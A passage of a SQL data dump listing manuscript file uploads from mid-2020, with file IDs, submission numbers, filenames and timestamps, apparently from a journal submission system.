01:26:08',1,1,0),(7338,4215,'4215-3-Manuscript-2020-05-21.tif',NULL,'2020-05-22 01:26:08',1,1,0),(7339,4215,'4215-4-Manuscript-2020-05-21.tif',NULL,'2020-05-22 01:26:08',1,1,0),(7340,4215,'4215-5-Manuscript-2020-05-21.pdf',NULL,'2020-05-22 01:26:08',1,1,0),(7343,4218,'4218-0-Manuscript-2020-05-22.docx',NULL,'2020-05-22 07:57:51',1,1,0),(7357,4226,'4226-0-Manuscript-2020-05-22.docx',NULL,'2020-05-22 18:50:09',1,1,0),(7369,4230,'4230-0-Manuscript-2020-05-22.docx',NULL,'2020-05-23 00:15:55',1,1,0),(7381,4241,'4241-0-Manuscript-2020-05-23.docx',NULL,'2020-05-23 12:29:02',1,1,0),(7390,4248,'4248-0-Manuscript-2020-05-23.docx',NULL,'2020-05-23 14:55:15',1,1,0),(7392,4250,'4250-0-Manuscript-2020-05-23.docx',NULL,'2020-05-23 23:00:08',1,1,0),(7395,4253,'4253-0-Manuscript-2020-05-24.docx',NULL,'2020-05-24 10:46:11',1,1,0),(7407,4263,'4263-0-Manuscript-2020-05-25.pdf',NULL,'2020-05-25 11:12:01',1,1,0),(7416,4272,'4272-0-Manuscript-2020-05-25.docx',NULL,'2020-05-25 12:34:59',1,1,0),(7424,4280,'4280-0-Manuscript-2020-05-25.docx',NULL,'2020-05-25 16:55:27',1,1,0),(7462,4313,'4313-0-Manuscript-2020-05-26.docx',NULL,'2020-05-26 18:24:48',1,1,0),(7466,4316,'4316-0-Manuscript-2020-05-26.doc',NULL,'2020-05-26 22:44:55',1,1,0),(7474,4322,'4322-0-Manuscript-2020-05-27.docx',NULL,'2020-05-27 08:03:44',1,1,0),(7481,4324,'4324-0-Manuscript-2020-05-27.doc',NULL,'2020-05-27 12:14:45',1,1,0),(7485,4328,'4328-0-Manuscript-2020-05-27.doc',NULL,'2020-05-27 14:04:18',1,1,0),(7497,4337,'4337-0-Manuscript-2020-05-27.docx',NULL,'2020-05-27 15:42:07',1,1,0),(7504,4344,'4344-0-Manuscript-2020-05-27.doc',NULL,'2020-05-27 17:33:09',1,1,0),(7560,4386,'4386-0-Manuscript-2020-05-29.docx',NULL,'2020-05-29 12:37:05',1,1,0),(7561,4386,'4386-1-Manuscript-2020-05-29.docx',NULL,'2020-05-29 12:37:05',1,1,0),(7569,4387,'4387-0-Manuscript-2020-05-29.docx',NULL,'2020-05-29 15:20:16',1,1,0),(7583,4392,'4392-0-Manuscript-2020-05-30.docx',NULL,'2020-05-31 02:53:51',1,1,0),(7587,4396,'4396-0-Manuscript-2020-06-01.docx',NULL,'2020-06-01 12:17:00',1,1,0),(7592,4401,'4401-0-Manuscript-2020-06-01.docx',NULL,'2020-06-01 12:40:31',1,1,0),(7628,4437,'4437-0-Manuscript-2020-06-01.docx',NULL,'2020-06-01 15:58:55',1,1,0),(7629,4438,'4438-0-Manuscript-2020-06-01.docx',NULL,'2020-06-01 16:01:49',1,1,0),(7630,4439,'4439-0-Manuscript-2020-06-01.doc',NULL,'2020-06-01 16:12:35',1,1,0),(7636,4445,'4445-0-Manuscript-2020-06-01.docx',NULL,'2020-06-01 17:15:15',1,1,0),(7637,4446,'4446-0-Manuscript-2020-06-01.docx',NULL,'2020-06-01 17:52:43',1,1,0),(7667,4466,'4466-0-Manuscript-2020-06-02.docx',NULL,'2020-06-02 15:09:39',1,1,0),(7668,4467,'4467-0-Manuscript-2020-06-02.docx',NULL,'2020-06-02 16:00:48',1,1,0),(7684,4482,'4482-0-Manuscript-2020-06-02.docx',NULL,'2020-06-03 00:28:01',1,1,0),(7685,4482,'4482-1-Manuscript-2020-06-02.doc',NULL,'2020-06-03 00:28:01',1,1,0),(7686,4482,'4482-2-Manuscript-2020-06-02.doc',NULL,'2020-06-03 00:28:01',1,1,0),(7687,4482,'4482-3-Manuscript-2020-06-02.doc',NULL,'2020-06-03 00:28:01',1,1,0),(7688,4483,'4483-0-Manuscript-2020-06-02.docx',NULL,'2020-06-03 01:27:37',1,1,0),(7689,4483,'4483-1-Manuscript-2020-06-02.docx',NULL,'2020-06-03 01:27:37',1,1,0),(7704,4496,'4496-0-Manuscript-2020-06-03.docx',NULL,'2020-06-03 21:37:46',1,1,0),(7706,4263,'4263-1344-Manuscript-2020-06-04.docx',NULL,'2020-06-04 10:22:20',1,1,0),(7707,4498,'4498-0-Manuscript-2020-06-04.doc',NULL,'2020-06-04 11:13:00',1,1,0),(7708,4498,'4498-1-Manuscript-2020-06-04.doc',NULL,'2020-06-04 11:13:00',1,1,0),(7709,4498,'4498-2-Manuscript-2020-06-04.doc',NULL,'2020-06-04 11:13:00',1,1,0),(7710,4498,'4498-3-Manuscript-2020-06-04.doc',NULL,'2020-06-04 11:13:00',1,1,0),(7714,4502,'4502-0-Manuscript-2020-06-04.docx',NULL,'2020-06-04 15:27:21',1,1,0),(7715,4502,'4502-1-Manuscript-2020-06-04.docx',NULL,'2020-06-04 15:27:21',1,1,0),(7716,4502,'4502-2-Manuscript-2020-06-04.docx',NULL,'2020-06-04 15:27:21',1,1,0),(7717,4502,'4502-3-Manuscript-2020-06-04.docx',NULL,'2020-06-04 15:27:21',1,1,0),(7718,3812,'3812-1871-Manuscript-2020-06-04.docx',NULL,'2020-06-04 15:49:15',1,2,0),(7719,3812,'3812-402-Manuscript-2020-06-04.docx',NULL,'2020-06-04 15:49:15',1,2,0),(7720,3812,'3812-1491-Manuscript-2020-06-04.docx',NULL,'2020-06-04 15:49:15',1,2,0),(7731,4513,'4513-0-Manuscript-2020-06-04.pdf',NULL,'2020-06-04 18:10:06',1,1,0),(7732,4513,'4513-1-Manuscript-2020-06-04.docx',NULL,'2020-06-04 18:10:06',1,1,0),(7733,4513,'4513-2-Manuscript-2020-06-04.docx',NULL,'2020-06-04 18:10:06',1,1,0),(7757,4530,'4530-0-Manuscript-2020-06-05.docx',NULL,'2020-06-05 22:16:28',1,1,0),(7758,4531,'4531-0-Manuscript-2020-06-05.docx',NULL,'2020-06-05 22:58:55',1,1,0),(7759,4531,'4531-1-Manuscript-2020-06-05.docx',NULL,'2020-06-05 22:58:55',1,1,0),(7760,4531,'4531-2-Manuscript-2020-06-05.docx',NULL,'2020-06-05 22:58:55',1,1,0),(7803,4564,'4564-0-Manuscript-2020-06-07.docx',NULL,'2020-06-07 06:19:34',1,1,0),(7815,4568,'4568-0-Manuscript-2020-06-07.doc',NULL,'2020-06-07 18:20:25',1,1,0),(7822,4575,'4575-0-Manuscript-2020-06-08.docx',NULL,'2020-06-08 13:14:14',1,1,0),(7828,4580,'4580-0-Manuscript-2020-06-08.docx',NULL,'2020-06-08 14:30:53',1,1,0),(7834,4585,'4585-0-Manuscript-2020-06-08.docx',NULL,'2020-06-08 17:21:58',1,1,0),(7835,4585,'4585-1-Manuscript-2020-06-08.png',NULL,'2020-06-08 17:21:58',1,1,0),(7836,4585,'4585-2-Manuscript-2020-06-08.png',NULL,'2020-06-08 17:21:58',1,1,0),(7837,4585,'4585-3-Manuscript-2020-06-08.docx',NULL,'2020-06-08 17:21:58',1,1,0),(7868,4604,'4604-0-Manuscript-2020-06-09.docx',NULL,'2020-06-09 20:24:25',1,1,0),(7872,4607,'4607-0-Manuscript-2020-06-09.docx',NULL,'2020-06-10 00:22:56',1,1,0),(7873,4608,'4608-0-Manuscript-2020-06-10.docx',NULL,'2020-06-10 10:57:04',1,1,0),(7874,4608,'4608-1-Manuscript-2020-06-10.docx',NULL,'2020-06-10 10:57:04',1,1,0),(7875,4608,'4608-2-Manuscript-2020-06-10.docx',NULL,'2020-06-10 10:57:04',1,1,0),(7876,4608,'4608-3-Manuscript-2020-06-10.docx',NULL,'2020-06-10 10:57:04',1,1,0),(7878,4610,'4610-0-Manuscript-2020-06-10.doc',NULL,'2020-06-10 15:01:46',1,1,0),(7897,4623,'4623-0-Manuscript-2020-06-11.doc',NULL,'2020-06-11 06:01:23',1,1,0),(7898,4623,'4623-1-Manuscript-2020-06-11.pdf',NULL,'2020-06-11 06:01:23',1,1,0),(7899,4624,'4624-0-Manuscript-2020-06-11.pdf',NULL,'2020-06-11 08:35:29',1,1,0),(7900,4625,'4625-0-Manuscript-2020-06-11.pdf',NULL,'2020-06-11 08:48:55',1,1,0),(7901,4625,'4625-1-Manuscript-2020-06-11.pdf',NULL,'2020-06-11 08:48:55',1,1,0),(7902,4625,'4625-2-Manuscript-2020-06-11.pdf',NULL,'2020-06-11 08:48:55',1,1,0),(7903,4625,'4625-3-Manuscript-2020-06-11.pdf',NULL,'2020-06-11 08:48:55',1,1,0),(7904,4625,'4625-4-Manuscript-2020-06-11.pdf',NULL,'2020-06-11 08:48:55',1,1,0),(7905,4625,'4625-5-Manuscript-2020-06-11.pdf',NULL,'2020-06-11 08:48:55',1,1,0),(7909,4629,'4629-0-Manuscript-2020-06-11.docx',NULL,'2020-06-11 13:12:18',1,1,0),(7910,4629,'4629-1-Manuscript-2020-06-11.docx',NULL,'2020-06-11 13:12:18',1,1,0),(7925,4634,'4634-0-Manuscript-2020-06-11.pdf',NULL,'2020-06-12 01:10:33',1,1,0),(7928,4637,'4637-0-Manuscript-2020-06-12.docx',NULL,'2020-06-12 10:04:25',1,1,0),(7934,4641,'4641-0-Manuscript-2020-06-12.doc',NULL,'2020-06-12 13:14:17',1,1,0),(7957,4659,'4659-0-Manuscript-2020-06-13.docx',NULL,'2020-06-13 08:45:20',1,1,0),(7963,4665,'4665-0-Manuscript-2020-06-13.docx',NULL,'2020-06-13 10:28:02',1,1,0),(7967,4109,'4109-487-Manuscript-2020-06-13.docx',NULL,'2020-06-13 11:18:21',1,1,0),(7979,4676,'4676-0-Manuscript-2020-06-13.docx',NULL,'2020-06-13 14:52:28',1,1,0),(8003,4690,'4690-0-Manuscript-2020-06-15.docx',NULL,'2020-06-15 14:24:25',1,1,0),(8029,4706,'4706-0-Manuscript-2020-06-16.docx',NULL,'2020-06-16 22:23:02',1,1,0),(8033,4707,'4707-0-Manuscript-2020-06-16.docx',NULL,'2020-06-17 01:41:38',1,1,0),(8034,4707,'4707-1-Manuscript-2020-06-16.jpg',NULL,'2020-06-17 01:41:38',1,1,0),(8035,4707,'4707-2-Manuscript-2020-06-16.jpg',NULL,'2020-06-17 01:41:38',1,1,0),(8036,4707,'4707-3-Manuscript-2020-06-16.jpg',NULL,'2020-06-17 01:41:38',1,1,0),(8037,4707,'4707-4-Manuscript-2020-06-16.jpg',NULL,'2020-06-17 01:41:38',1,1,0),(8038,4707,'4707-5-Manuscript-2020-06-16.jpg',NULL,'2020-06-17 01:41:38',1,1,0),(8053,4719,'4719-0-Manuscript-2020-06-17.docx',NULL,'2020-06-17 15:21:03',1,1,0),(8054,4719,'4719-1-Manuscript-2020-06-17.docx',NULL,'2020-06-17 15:21:03',1,1,0),(8055,4719,'4719-2-Manuscript-2020-06-17.docx',NULL,'2020-06-17 15:21:03',1,1,0),(8056,4719,'4719-3-Manuscript-2020-06-17.jpg',NULL,'2020-06-17 15:21:03',1,1,0),(8057,4719,'4719-4-Manuscript-2020-06-17.jpg',NULL,'2020-06-17 15:21:03',1,1,0),(8058,4719,'4719-5-Manuscript-2020-06-17.jpg',NULL,'2020-06-17 15:21:03',1,1,0),(8059,4719,'4719-6-Manuscript-2020-06-17.jpg',NULL,'2020-06-17 15:21:03',1,1,0),(8060,4719,'4719-7-Manuscript-2020-06-17.jpg',NULL,'2020-06-17 15:21:03',1,1,0),(8061,4720,'4720-0-Manuscript-2020-06-17.docx',NULL,'2020-06-17 17:05:01',1,1,0),(8063,3809,'3809-1670-Manuscript-2020-06-17.doc',NULL,'2020-06-17 20:16:56',1,1,0),(8066,4724,'4724-0-Manuscript-2020-06-17.docx',NULL,'2020-06-17 22:22:28',1,1,0),(8077,4733,'4733-0-Manuscript-2020-06-18.docx',NULL,'2020-06-18 14:19:48',1,1,0),(8092,4392,'4392-7-Manuscript-2020-06-18.docx',NULL,'2020-06-19 01:03:55',1,2,0),(8093,4392,'4392-164-Manuscript-2020-06-18.docx',NULL,'2020-06-19 01:04:16',1,2,0),(8094,4392,'4392-944-Manuscript-2020-06-18.docx',NULL,'2020-06-19 01:05:04',1,2,0),(8095,4392,'4392-1119-Manuscript-2020-06-18.docx',NULL,'2020-06-19 01:07:06',1,2,0),(8096,4392,'4392-1061-Manuscript-2020-06-18.',NULL,'2020-06-19 01:07:06',1,2,0),(8097,4056,'4056-328-Manuscript-2020-06-19.docx',NULL,'2020-06-19 07:26:10',1,2,0),(8098,4056,'4056-97-Manuscript-2020-06-19.pdf',NULL,'2020-06-19 07:26:10',1,2,0),(8109,4757,'4757-0-Manuscript-2020-06-19.docx',NULL,'2020-06-19 17:34:47',1,1,0),(8118,4764,'4764-0-Manuscript-2020-06-20.docx',NULL,'2020-06-20 11:07:20',1,1,0),(8119,4765,'4765-0-Manuscript-2020-06-20.docx',NULL,'2020-06-20 12:26:02',1,1,0),(8135,4776,'4776-0-Manuscript-2020-06-21.docx',NULL,'2020-06-21 19:22:48',1,1,0),(8139,4778,'4778-0-Manuscript-2020-06-21.pdf',NULL,'2020-06-22 00:33:10',1,1,0),(8141,4779,'4779-0-Manuscript-2020-06-22.pdf',NULL,'2020-06-22 10:14:03',1,1,0),(8145,4783,'4783-0-Manuscript-2020-06-22.pdf',NULL,'2020-06-22 10:51:34',1,1,0),(8146,4784,'4784-0-Manuscript-2020-06-22.docx',NULL,'2020-06-22 11:17:51',1,1,0),(8203,4607,'4607-1440-Manuscript-2020-06-23.docx',NULL,'2020-06-23 10:05:57',1,2,0),(8204,4092,'4092-513-Manuscript-2020-06-23.docx',NULL,'2020-06-23 16:23:59',1,1,0),(8221,4820,'4820-0-Manuscript-2020-06-24.docx',NULL,'2020-06-24 15:30:23',1,1,0),(8227,4825,'4825-0-Manuscript-2020-06-24.docx',NULL,'2020-06-24 17:52:37',1,1,0),(8229,4827,'4827-0-Manuscript-2020-06-24.docx',NULL,'2020-06-24 20:01:00',1,1,0),(8239,4837,'4837-0-Manuscript-2020-06-25.pdf',NULL,'2020-06-25 16:41:49',1,1,0),(8242,4840,'4840-0-Manuscript-2020-06-25.docx',NULL,'2020-06-25 17:47:14',1,1,0),(8271,4859,'4859-0-Manuscript-2020-06-26.docx',NULL,'2020-06-26 13:27:56',1,1,0),(8282,4870,'4870-0-Manuscript-2020-06-26.docx',NULL,'2020-06-26 17:39:00',1,1,0),(8297,4885,'4885-0-Manuscript-2020-06-26.docx',NULL,'2020-06-26 20:38:35',1,1,0),(8337,4915,'4915-0-Manuscript-2020-06-28.docx',NULL,'2020-06-28 15:28:34',1,1,0),(8346,4920,'4920-0-Manuscript-2020-06-29.docx',NULL,'2020-06-29 10:42:37',1,1,0),(8372,4939,'4939-0-Manuscript-2020-06-30.docx',NULL,'2020-06-30 10:35:01',1,1,0),(8391,4958,'4958-0-Manuscript-2020-06-30.docx',NULL,'2020-06-30 12:28:53',1,1,0),(8443,5003,'5003-0-Manuscript-2020-07-01.docx',NULL,'2020-07-01 11:39:28',1,1,0),(8483,5035,'5035-0-Manuscript-2020-07-01.docx',NULL,'2020-07-01 20:34:37',1,1,0),(8484,5035,'5035-1-Manuscript-2020-07-01.docx',NULL,'2020-07-01 20:34:37',1,1,0),(8485,5035,'5035-2-Manuscript-2020-07-01.docx',NULL,'2020-07-01 20:34:37',1,1,0),(8486,5035,'5035-3-Manuscript-2020-07-01.docx',NULL,'2020-07-01 20:34:37',1,1,0),(8487,5036,'5036-0-Manuscript-2020-07-01.docx',NULL,'2020-07-01 20:43:17',1,1,0),(8488,5037,'5037-0-Manuscript-2020-07-01.docx',NULL,'2020-07-01 21:13:53',1,1,0),(8493,5041,'5041-0-Manuscript-2020-07-01.docx',NULL,'2020-07-02 05:02:43',1,1,0),(8527,5067,'5067-0-Manuscript-2020-07-04.jpg',NULL,'2020-07-04 10:17:37',1,1,0),(8528,5067,'5067-1-Manuscript-2020-07-04.jpg',NULL,'2020-07-04 10:17:37',1,1,0),(8529,5067,'5067-2-Manuscript-2020-07-04.png',NULL,'2020-07-04 10:17:37',1,1,0),(8533,4194,'4194-1687-Manuscript-2020-07-05.docx',NULL,'2020-07-05 23:46:16',1,1,0),(8534,5071,'5071-0-Manuscript-2020-07-06.doc',NULL,'2020-07-06 00:36:02',1,1,0),(8535,5071,'5071-1-Manuscript-2020-07-06.docx',NULL,'2020-07-06 00:36:02',1,1,0),(8536,5071,'5071-2-Manuscript-2020-07-06.docx',NULL,'2020-07-06 00:36:02',1,1,0),(8537,5071,'5071-3-Manuscript-2020-07-06.doc',NULL,'2020-07-06 00:36:02',1,1,0),(8561,5089,'5089-0-Manuscript-2020-07-07.doc',NULL,'2020-07-07 02:48:43',1,1,0),(8564,5092,'5092-0-Manuscript-2020-07-07.docx',NULL,'2020-07-07 07:20:13',1,1,0),(8569,5096,'5096-0-Manuscript-2020-07-07.docx',NULL,'2020-07-07 11:50:47',1,1,0),(8570,5096,'5096-1-Manuscript-2020-07-07.pdf',NULL,'2020-07-07 11:50:47',1,1,0),(8574,5100,'5100-0-Manuscript-2020-07-08.docx',NULL,'2020-07-08 02:31:23',1,1,0),(8578,5104,'5104-0-Manuscript-2020-07-08.docx',NULL,'2020-07-08 05:06:00',1,1,0),(8584,5109,'5109-0-Manuscript-2020-07-08.docx',NULL,'2020-07-08 07:36:29',1,1,0),(8586,4241,'4241-1135-Manuscript-2020-07-08.docx',NULL,'2020-07-08 09:56:07',1,2,0),(8591,5111,'5111-0-Manuscript-2020-07-08.docx',NULL,'2020-07-08 10:52:36',1,1,0),(8592,5112,'5112-0-Manuscript-2020-07-08.docx',NULL,'2020-07-08 11:31:22',1,1,0),(8607,5126,'5126-0-Manuscript-2020-07-09.docx',NULL,'2020-07-09 07:53:42',1,1,0),(8613,5131,'5131-0-Manuscript-2020-07-09.pdf',NULL,'2020-07-09 18:10:17',1,1,0),(8619,5137,'5137-0-Manuscript-2020-07-10.docx',NULL,'2020-07-10 06:56:44',1,1,0),(8638,5146,'5146-0-Manuscript-2020-07-10.docx',NULL,'2020-07-10 18:00:23',1,1,0),(8648,5156,'5156-0-Manuscript-2020-07-11.docx',NULL,'2020-07-11 10:39:43',1,1,0),(8649,5137,'5137-940-Manuscript-2020-07-11.docx',NULL,'2020-07-11 12:20:42',1,1,0),(8679,5169,'5169-0-Manuscript-2020-07-13.doc',NULL,'2020-07-13 05:24:18',1,1,0),(8680,5170,'5170-0-Manuscript-2020-07-13.docx',NULL,'2020-07-13 06:34:13',1,1,0),(8681,5171,'5171-0-Manuscript-2020-07-13.docx',NULL,'2020-07-13 07:02:19',1,1,0),(8683,5173,'5173-0-Manuscript-2020-07-13.docx',NULL,'2020-07-13 07:21:08',1,1,0),(8684,5174,'5174-0-Manuscript-2020-07-13.docx',NULL,'2020-07-13 10:06:50',1,1,0),(8686,5176,'5176-0-Manuscript-2020-07-13.doc',NULL,'2020-07-13 13:56:26',1,1,0),(8700,5187,'5187-0-Manuscript-2020-07-14.docx',NULL,'2020-07-14 08:29:55',1,1,0),(8701,5187,'5187-1-Manuscript-2020-07-14.doc',NULL,'2020-07-14 08:29:55',1,1,0),(8702,5187,'5187-2-Manuscript-2020-07-14.doc',NULL,'2020-07-14 08:29:56',1,1,0),(8703,5187,'5187-3-Manuscript-2020-07-14.doc',NULL,'2020-07-14 08:29:56',1,1,0),(8704,5187,'5187-4-Manuscript-2020-07-14.doc',NULL,'2020-07-14 08:29:56',1,1,0),(8705,5187,'5187-5-Manuscript-2020-07-14.doc',NULL,'2020-07-14 08:29:56',1,1,0),(8706,5187,'5187-6-Manuscript-2020-07-14.doc',NULL,'2020-07-14 08:29:56',1,1,0),(8707,5187,'5187-7-Manuscript-2020-07-14.doc',NULL,'2020-07-14 08:29:56',1,1,0),(8718,5156,'5156-1759-Manuscript-2020-07-14.docx',NULL,'2020-07-14 12:00:40',1,1,0),(8727,5197,'5197-0-Manuscript-2020-07-15.docm',NULL,'2020-07-14 18:58:45',1,1,0),(8729,5199,'5199-0-Manuscript-2020-07-15.doc',NULL,'2020-07-15 04:28:56',1,1,0),(8732,5202,'5202-0-Manuscript-2020-07-15.docx',NULL,'2020-07-15 07:05:29',1,1,0),(8753,5215,'5215-0-Manuscript-2020-07-16.docx',NULL,'2020-07-16 03:22:05',1,1,0),(8755,5217,'5217-0-Manuscript-2020-07-16.docx',NULL,'2020-07-16 09:29:31',1,1,0),(8760,5222,'5222-0-Manuscript-2020-07-16.pdf',NULL,'2020-07-16 14:31:01',1,1,0),(8781,5233,'5233-0-Manuscript-2020-07-17.docx',NULL,'2020-07-17 17:23:16',1,1,0),(8782,5233,'5233-1-Manuscript-2020-07-17.docx',NULL,'2020-07-17 17:23:16',1,1,0),(8783,5233,'5233-2-Manuscript-2020-07-17.png',NULL,'2020-07-17 17:23:16',1,1,0),(8784,5233,'5233-3-Manuscript-2020-07-17.png',NULL,'2020-07-17 17:23:16',1,1,0),(8785,5233,'5233-4-Manuscript-2020-07-17.png',NULL,'2020-07-17 17:23:16',1,1,0),(8786,5233,'5233-5-Manuscript-2020-07-17.png',NULL,'2020-07-17 17:23:16',1,1,0),(8787,5233,'5233-6-Manuscript-2020-07-17.png',NULL,'2020-07-17 17:23:16',1,1,0),(8794,5240,'5240-0-Manuscript-2020-07-18.docx',NULL,'2020-07-18 07:54:14',1,1,0),(8800,5245,'5245-0-Manuscript-2020-07-19.pdf',NULL,'2020-07-18 19:46:25',1,1,0),(8801,5245,'5245-1-Manuscript-2020-07-19.pdf',NULL,'2020-07-18 19:46:25',1,1,0),(8802,5245,'5245-2-Manuscript-2020-07-19.docx',NULL,'2020-07-18 19:46:25',1,1,0),(8803,5245,'5245-3-Manuscript-2020-07-19.docx',NULL,'2020-07-18 19:46:25',1,1,0),(8834,5269,'5269-0-Manuscript-2020-07-21.doc',NULL,'2020-07-21 07:04:33',1,1,0),(8845,4483,'4483-198-Manuscript-2020-07-21.docx',NULL,'2020-07-21 18:32:30',1,2,0),(8846,4483,'4483-314-Manuscript-2020-07-21.docx',NULL,'2020-07-21 18:32:30',1,2,0),(8870,5291,'5291-0-Manuscript-2020-07-22.docx',NULL,'2020-07-22 09:56:14',1,1,0),(8872,5293,'5293-0-Manuscript-2020-07-22.docx',NULL,'2020-07-22 10:19:17',1,1,0),(8873,5294,'5294-0-Manuscript-2020-07-22.docx',NULL,'2020-07-22 10:45:30',1,1,0),(8880,5299,'5299-0-Manuscript-2020-07-22.docx',NULL,'2020-07-22 13:49:43',1,1,0),(8901,5314,'5314-0-Manuscript-2020-07-23.docx',NULL,'2020-07-23 07:03:18',1,1,0),(8911,5318,'5318-0-Manuscript-2020-07-23.docx',NULL,'2020-07-23 11:01:39',1,1,0),(8928,5332,'5332-0-Manuscript-2020-07-24.docx',NULL,'2020-07-24 05:27:41',1,1,0),(8938,4466,'4466-2000-Manuscript-2020-07-24.docx',NULL,'2020-07-24 09:17:33',1,1,0),(8942,4939,'4939-785-Manuscript-2020-07-24.docx',NULL,'2020-07-24 12:54:46',1,1,0),(8963,5361,'5361-0-Manuscript-2020-07-25.docx',NULL,'2020-07-25 09:15:49',1,1,0),(8964,5362,'5362-0-Manuscript-2020-07-25.pdf',NULL,'2020-07-25 10:55:19',1,1,0),(8968,5366,'5366-0-Manuscript-2020-07-25.docx',NULL,'2020-07-25 22:29:48',1,1,0),(8969,5367,'5367-0-Manuscript-2020-07-26.docx',NULL,'2020-07-26 05:58:42',1,1,0),(8977,4251,'4251-134-Manuscript-2020-07-26.pdf',NULL,'2020-07-26 19:05:19',1,1,0),(9047,5428,'5428-0-Manuscript-2020-07-28.docx',NULL,'2020-07-28 05:00:28',1,1,0),(9048,5429,'5429-0-Manuscript-2020-07-28.docx',NULL,'2020-07-28 05:03:18',1,1,0),(9049,5430,'5430-0-Manuscript-2020-07-28.docx',NULL,'2020-07-28 05:06:57',1,1,0),(9050,5431,'5431-0-Manuscript-2020-07-28.docx',NULL,'2020-07-28 05:09:39',1,1,0),(9091,5464,'5464-0-Manuscript-2020-07-28.docx',NULL,'2020-07-28 11:45:06',1,1,0),(9096,5469,'5204-0-Manuscript-2020-07-15.docx','','2020-07-15 00:00:00',1,1,0),(9108,5481,'5481-0-Manuscript-2020-07-28.docx',NULL,'2020-07-28 16:09:06',1,1,0),(9118,5490,'5490-0-Manuscript-2020-07-29.docx',NULL,'2020-07-29 08:31:41',1,1,0),(9131,5503,'5503-0-Manuscript-2020-07-29.docx',NULL,'2020-07-29 10:48:12',1,1,0),(9185,5549,'5549-0-Manuscript-2020-07-30.docx',NULL,'2020-07-30 11:25:51',1,1,0),(9186,5550,'5550-0-Manuscript-2020-07-30.docx',NULL,'2020-07-30 12:36:09',1,1,0),(9187,5550,'5550-1-Manuscript-2020-07-30.docx',NULL,'2020-07-30 12:36:09',1,1,0),(9188,5550,'5550-2-Manuscript-2020-07-30.docx',NULL,'2020-07-30 12:36:09',1,1,0),(9189,5550,'5550-3-Manuscript-2020-07-30.docx',NULL,'2020-07-30 12:36:09',1,1,0),(9209,5569,'5569-0-Manuscript-2020-07-31.docx',NULL,'2020-07-31 08:30:21',1,1,0),(9229,5589,'5589-0-Manuscript-2020-07-31.pdf',NULL,'2020-07-31 11:34:18',1,1,0),(9237,5597,'5597-0-Manuscript-2020-08-01.docx',NULL,'2020-08-01 04:08:32',1,1,0),(9249,5607,'5607-0-Manuscript-2020-08-01.docx',NULL,'2020-08-01 05:25:29',1,1,0),(9297,5654,'5654-0-Manuscript-2020-08-03.docx',NULL,'2020-08-03 13:01:17',1,1,0),(9298,5655,'5655-0-Manuscript-2020-08-03.docx',NULL,'2020-08-03 13:04:32',1,1,0),(9299,5656,'5656-0-Manuscript-2020-08-03.docx',NULL,'2020-08-03 13:08:32',1,1,0),(9313,5670,'5670-0-Manuscript-2020-08-03.docx',NULL,'2020-08-03 14:53:14',1,1,0),(9314,5670,'5670-1-Manuscript-2020-08-03.docx',NULL,'2020-08-03 14:53:14',1,1,0),(9335,5690,'5690-0-Manuscript-2020-08-04.docx',NULL,'2020-08-04 22:20:26',1,1,0),(9347,5702,'5702-0-Manuscript-2020-08-06.docx',NULL,'2020-08-06 02:29:59',1,1,0),(9373,5670,'5670-1558-Manuscript-2020-08-07.pdf',NULL,'2020-08-07 07:57:53',1,1,0),(9399,5732,'5732-0-Manuscript-2020-08-08.docx',NULL,'2020-08-08 20:27:06',1,1,0),(9401,5734,'5734-0-Manuscript-2020-08-09.docx',NULL,'2020-08-09 06:06:13',1,1,0),(9402,5734,'5734-1-Manuscript-2020-08-09.docx',NULL,'2020-08-09 06:06:13',1,1,0),(9418,5747,'5747-0-Manuscript-2020-08-10.docx',NULL,'2020-08-10 11:17:59',1,1,0),(9444,5758,'5758-0-Manuscript-2020-08-11.docx',NULL,'2020-08-11 09:11:22',1,1,0),(9446,5760,'5760-0-Manuscript-2020-08-11.docx',NULL,'2020-08-11 10:39:39',1,1,0),(9462,5766,'5766-0-Manuscript-2020-08-11.docx',NULL,'2020-08-11 16:26:23',1,1,0),(9469,5770,'5328-0-Manuscript-2020-07-23.pdf','','2020-07-23 00:00:00',1,1,0),(9472,5773,'5773-0-Manuscript-2020-08-12.docx',NULL,'2020-08-12 13:17:43',1,1,0),(9495,5791,'5791-0-Manuscript-2020-08-14.docx',NULL,'2020-08-14 06:10:07',1,1,0),(9504,5795,'5795-0-Manuscript-2020-08-14.docx',NULL,'2020-08-14 09:23:15',1,1,0),(9505,5796,'5796-0-Manuscript-2020-08-14.docx',NULL,'2020-08-14 11:29:15',1,1,0),(9506,5796,'5796-1-Manuscript-2020-08-14.png',NULL,'2020-08-14 11:29:15',1,1,0),(9507,5797,'5797-0-Manuscript-2020-08-14.docx',NULL,'2020-08-14 11:42:38',1,1,0),(9514,5802,'5802-0-Manuscript-2020-08-14.docx',NULL,'2020-08-14 18:27:47',1,1,0),(9515,5802,'5802-1-Manuscript-2020-08-14.docx',NULL,'2020-08-14 18:27:47',1,1,0),(9516,5802,'5802-2-Manuscript-2020-08-14.docx',NULL,'2020-08-14 18:27:47',1,1,0),(9517,5802,'5802-3-Manuscript-2020-08-14.docx',NULL,'2020-08-14 18:27:47',1,1,0),(9518,5803,'5803-0-Manuscript-2020-08-14.pdf',NULL,'2020-08-14 19:32:22',1,1,0),(9523,5808,'5808-0-Manuscript-2020-08-15.doc',NULL,'2020-08-15 00:00:53',1,1,0),(9535,5464,'5464-1020-Manuscript-2020-08-16.docx',NULL,'2020-08-16 07:56:04',1,2,0),(9536,5464,'5464-1070-Manuscript-2020-08-16.docx',NULL,'2020-08-16 07:59:30',1,2,0),(9537,5464,'5464-14-Manuscript-2020-08-16.docx',NULL,'2020-08-16 08:10:17',1,1,0),(9538,5464,'5464-198-Manuscript-2020-08-16.docx',NULL,'2020-08-16 08:11:08',1,1,0),(9547,5597,'5597-1321-Manuscript-2020-08-16.docx',NULL,'2020-08-16 19:27:54',1,1,0),(9554,5833,'5833-0-Manuscript-2020-08-17.docx',NULL,'2020-08-17 08:52:21',1,1,0),(9601,5857,'5857-0-Manuscript-2020-08-18.docx',NULL,'2020-08-18 13:29:44',1,1,0),(9602,5857,'5857-1-Manuscript-2020-08-18.docx',NULL,'2020-08-18 13:29:44',1,1,0),(9604,5859,'5859-0-Manuscript-2020-08-18.docx',NULL,'2020-08-18 13:41:05',1,1,0),(9627,5877,'5877-0-Manuscript-2020-08-20.doc',NULL,'2020-08-20 07:51:23',1,1,0),(9634,5882,'5882-0-Manuscript-2020-08-20.docx',NULL,'2020-08-20 19:45:14',1,1,0),(9635,5882,'5882-1-Manuscript-2020-08-20.docx',NULL,'2020-08-20 19:45:14',1,1,0),(9637,5884,'5884-0-Manuscript-2020-08-20.docx',NULL,'2020-08-20 